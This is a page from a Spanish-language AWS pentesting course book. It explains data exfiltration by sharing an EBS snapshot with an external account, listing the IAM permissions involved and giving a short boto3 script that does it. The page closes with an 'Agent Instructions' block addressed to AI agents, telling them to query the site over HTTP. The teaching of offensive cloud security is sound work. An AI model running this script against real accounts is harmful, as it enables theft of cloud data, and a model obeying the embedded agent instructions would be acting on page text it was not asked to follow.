# Exfiltracion de datos utilizando un Snapshots de EBS

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este contenido se adentra en una técnica avanzada de post-explotación, crucial para entender cómo maximizar el impacto de un ataque una vez que se ha conseguido penetrar en un sistema. Es importante recalcar que la ejecución de esta técnica presupone que el atacante o consultor ya ha obtenido ciertos niveles de privilegios dentro de la infraestructura objetivo. Sin estos privilegios, llevar a cabo el ataque explicado aquí no sería posible. Proceder con cautela y siempre dentro del marco legal y ético es fundamental.
{% endhint %}

Para modificar los permisos y compartir un snapshot de Amazon Elastic Block Store (EBS) con una cuenta externa de AWS, un usuario de IAM necesita permisos específicos dentro de Amazon EC2. Estos permisos permitirán al usuario cambiar quién puede crear volúmenes a partir de ese snapshot. A continuación, se detallan los permisos necesarios y se proporciona un ejemplo de código mejorado para ilustrar este proceso, seguido de la explicación de los permisos requeridos.

## <mark style="color:orange;">Permisos Requeridos</mark>

Para compartir un snapshot de EBS con una cuenta externa, se requieren los siguientes permisos:

* `ec2:ModifySnapshotAttribute`: Este permiso permite al usuario modificar atributos de un snapshot de EBS, específicamente, los permisos para crear volúmenes, lo que controla qué cuentas de AWS pueden usar el snapshot para crear nuevos volúmenes de EBS.
* `ec2:DescribeSnapshots`: Aunque este permiso no es necesario para modificar directamente los atributos del snapshot, permite al usuario obtener detalles sobre los snapshots de EBS antes de realizar cualquier cambio.

```python
import boto3

# Crear un cliente de EC2
ec2_client = boto3.client('ec2')

# Definir el ID del snapshot
snapshot_id = 'snap-01234567890abcdef'

# Definir el ID de la cuenta AWS con la que compartir el snapshot
account_id = '012345678901'

# Compartir el snapshot con la cuenta AWS externa
ec2_client.modify_snapshot_attribute(
    SnapshotId=snapshot_id,
    Attribute='createVolumePermission',
    CreateVolumePermission={
        'Add': [{'UserId': account_id}]
    }
)
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpna/tecnicas-ofensivas-contra-ec2/exfiltracion-de-datos-utilizando-un-snapshots-de-ebs.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
